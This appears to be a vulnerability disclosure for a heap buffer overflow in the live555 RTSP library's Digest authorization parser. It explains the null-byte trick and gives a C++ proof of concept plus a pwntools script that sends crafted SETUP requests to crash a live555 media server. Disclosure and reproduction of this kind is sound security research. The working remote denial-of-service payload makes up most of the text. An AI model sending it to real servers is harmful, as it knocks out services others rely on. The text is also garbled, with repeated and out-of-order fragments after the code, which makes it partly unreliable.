Now it will first allocate space for AAAAAAA, sscanf AAAAAAA to parameter and advance fields till past the null byte. The loop will continue with scanning BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB to parameter and thus giving a huge overflow.
PoC:
//g++ -o poc poc.cpp strDup.cpp
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include "strDup.hh"
#define True true
#define False false
#define Boolean bool
#define _strncasecmp strncasecmp
static Boolean parseAuthorizationHeader(char const* buf,
char const*& username,
char const*& realm,
char const*& nonce, char const*& uri,
char const*& response) {
// Initialize the result parameters to default values:
username = realm = nonce = uri = response = NULL;
// First, find "Authorization:"
while (1) {
if (*buf == '\0') return False; // not found
if (_strncasecmp(buf, "Authorization: Digest ", 22) == 0) break;
++buf;
}
// Then, run through each of the fields, looking for ones we handle:
char const* fields = buf + 22;
while (*fields == ' ') ++fields;
char* parameter = strDupSize(fields);
char* value = strDupSize(fields);
while (1) {
value[0] = '\0';
if (sscanf(fields, "%[^=]=\"%[^\"]\"", parameter, value) != 2 &&
sscanf(fields, "%[^=]=\"\"", parameter) != 1) {
break;
}
if (strcmp(parameter, "username") == 0) {
username = strDup(value);
} else if (strcmp(parameter, "realm") == 0) {
realm = strDup(value);
} else if (strcmp(parameter, "nonce") == 0) {
nonce = strDup(value);
} else if (strcmp(parameter, "uri") == 0) {
uri = strDup(value);
} else if (strcmp(parameter, "response") == 0) {
response = strDup(value);
}
fields += strlen(parameter) + 2 /*="*/ + strlen(value) + 1 /*"*/;
while (*fields == ',' || *fields == ' ') ++fields;
// skip over any separating ',' and ' ' chars
if (*fields == '\0' || *fields == '\r' || *fields == '\n') break;
}
delete[] parameter; delete[] value;
return True;
}
int main() {
char const* username = NULL; char const* realm = NULL; char const* nonce = NULL;
char const* uri = NULL; char const* response = NULL;
parseAuthorizationHeader("Authorization: Digest AAAAAAA\0BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", username, realm, nonce, uri, response);
if (username) delete[] username;
if (realm) delete[] realm;
if (nonce) delete[] nonce;
if (uri) delete[] uri;
if (response) delete[] response;
return 0;
}
Remote DoS PoC (define ACCESS_CONTROL in mediaServer/live555MediaServer.cpp for this PoC):
from pwn import *
r = remote('127.0.0.1', 8554)
request = ''
#this first request will set the nonce to get to parseAuthorizationHeader
request += 'SETUP rtsp://127.0.0.1:8554/ RTSP/1.0' + '\r\n'
request += 'Cseq: 3' + '\r\n'
request += '\r\n'
#end of first request second request gets passed to parseAuthorizationHeader
request += 'SETUP rtsp://127.0.0.1:8554/ RTSP/1.0' + '\r\n'
request += 'Cseq: 3' + '\r\n'
request += 'Authorization: Digest AAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB' + '\r\n'
request += '\r\n'
r.send(request)
Bug discovered by: Mans van Someren from WhatTheBug
Version: latest (http://www.live555.com/liveMedia/public/live555-latest.tar.gz)
Then the following happens in a loop:
Now the overflow occurs when fields contains a null byte in the middle of it. Lets take as an example:
fields = "AAAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Now it will first allocate space for AAAAAAA, sscanf AAAAAAA to parameter and advance fields till past the null byte. The loop will continue with scanning BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB to parameter and thus giving a huge overflow.
PoC:
Remote DoS PoC (define ACCESS_CONTROL in mediaServer/live555MediaServer.cpp for this PoC):